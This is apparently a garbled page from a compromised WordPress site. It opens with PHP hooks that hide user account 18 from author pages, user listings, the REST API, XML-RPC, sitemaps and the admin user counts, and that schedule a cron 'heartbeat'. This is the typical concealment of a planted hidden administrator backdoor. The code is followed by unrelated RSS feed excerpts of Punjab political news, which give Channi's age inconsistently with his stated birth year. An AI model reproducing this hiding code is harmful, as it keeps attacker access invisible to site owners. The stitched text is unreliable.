add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post In response to Charanjit Singh Channi’s advice to Arvind Kejriwal to dress better, the Delhi Chief Minister said THIS appeared first on The Edge Media.
]]>
When asked what he has to say about Kejriwal, who claims that the Congress has left Punjab in a shamble, Punjab CM Channi became visibly upset and made an uncharitable remark during a chat with a TV channel.
The post In response to Charanjit Singh Channi’s advice to Arvind Kejriwal to dress better, the Delhi Chief Minister said THIS appeared first on The Edge Media.
]]>The post Who is Punjab’s new chief minister, Charanjit Singh Channi? appeared first on The Edge Media.
]]>Channi, who represents the Chamkaur Sahib assembly constituency, is 58 years old. He is a member of the Dalit community, which makes up nearly a third of Punjab’s population. Channi was born in the village Makrona Kalan near Chamkaur Sahib on April 2, 1972, to S Harsa Singh and Ajmer Kaur.
The post Who is Punjab’s new chief minister, Charanjit Singh Channi? appeared first on The Edge Media.
]]>The post Punjab Chief Minister Amarinder Singh Blasts Sidhu’s Advisers for Recent remarks about Kashmir and Pakistan as Atrocious, Ill-Conceived, and Against India’s Interests. appeared first on The Edge Media.
]]>Captain Amarinder advised Sidhu’s advisers to keep giving counsel to the PPCC president and not talk on subjects about which they plainly had little or no knowledge and had no comprehension of the repercussions of their comments, according to a news release released by the Chief Minister’s Office.
This was in response to Sidhu’s adviser Pyare Lal Garg’s recent questioning of the chief minister’s condemnation of Pakistan and another Sidhu aide, Malwinder Singh Mali’s earlier comments on Kashmir. Both have lately been recruited as advisers by Sidhu.
The post Punjab Chief Minister Amarinder Singh Blasts Sidhu’s Advisers for Recent remarks about Kashmir and Pakistan as Atrocious, Ill-Conceived, and Against India’s Interests. appeared first on The Edge Media.
]]>